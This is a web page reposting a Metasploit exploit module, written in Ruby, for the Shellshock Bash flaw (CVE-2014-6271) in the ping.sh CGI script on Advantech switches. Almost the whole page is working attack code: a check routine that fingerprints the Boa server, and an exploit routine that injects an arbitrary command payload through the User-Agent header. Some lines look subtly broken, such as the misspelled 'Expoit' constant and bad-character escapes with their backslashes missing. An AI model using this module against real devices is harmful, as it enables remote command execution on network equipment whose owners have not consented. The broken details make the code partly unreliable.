Home / os / winmobile

Advantech Switch Bash Environment Variable Code Injection

Posted on 02 December 2015

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
 Rank = ExcellentRanking
 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'Advantech Switch Bash Environment Variable Code Injection (Shellshock)',
 'Description' => %q{
 This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
 handles external environment variables. This module targets the 'ping.sh' CGI
 script, acessible through the Boa web server on Advantech switches. This module
 was tested against firmware version 1322_D1.98.
 },
 'Author' => 'hdm',
 'References' => [
 ['CVE', '2014-6271'],
 ['CWE', '94'],
 ['OSVDB', '112004'],
 ['EDB', '34765'],
 ['URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/01/r7-2015-25-advantech-eki-multiple-known-vulnerabilities'],
 ['URL', 'https://access.redhat.com/articles/1200223'],
 ['URL', 'http://seclists.org/oss-sec/2014/q3/649']
 ],
 'Privileged' => false,
 'Arch' => ARCH_CMD,
 'Platform' => 'unix',
 'Payload' =>
 {
 'Space' => 1024,
 'BadChars' => "x00x0Ax0D",
 'DisableNops' => true,
 'Compat' =>
 {
 'PayloadType' => 'cmd',
 'RequiredCmd' => 'openssl generic'
 }
 },
 'Targets' => [[ 'Automatic Targeting', { 'auto' => true } ]],
 'DefaultTarget' => 0,
 'License' => MSF_LICENSE,
 'DisclosureDate' => 'Dec 01 2015'
 ))
 register_options([
 Opt::RPORT(80)
 ], self.class)
 end

 #
 # CVE-2014-6271
 #
 def cve_2014_6271(cmd)
 %{() { :;}; $(#{cmd}) & }
 end

 #
 # Check credentials
 #
 def check
 res = send_request_cgi(
 'method' => 'GET',
 'uri' => '/cgi-bin/ping.sh'
 )
 if !res
 vprint_error("#{peer} - No response from host")
 return Exploit::CheckCode::Unknown
 elsif res.headers['Server'] =~ /Boa/(.*)/
 vprint_status("#{peer} - Found Boa version #{$1}")
 else
 print_status("#{peer} - Target is not a Boa web server")
 return Exploit::CheckCode::Safe
 end

 if res.body.to_s.index('127.0.0.1 ping statistics')
 return Exploit::CheckCode::Detected
 else
 vprint_error("#{peer} - Target does not appear to be an Advantech switch")
 return Expoit::CheckCode::Safe
 end
 end

 #
 # Exploit
 #
 def exploit
 cmd = cve_2014_6271(payload.encoded)
 vprint_status("#{peer} - Trying to run command '#{cmd}'")
 res = send_request_cgi(
 'method' => 'GET',
 'uri' => '/cgi-bin/ping.sh',
 'agent' => cmd
 )
 end

end

 

TOP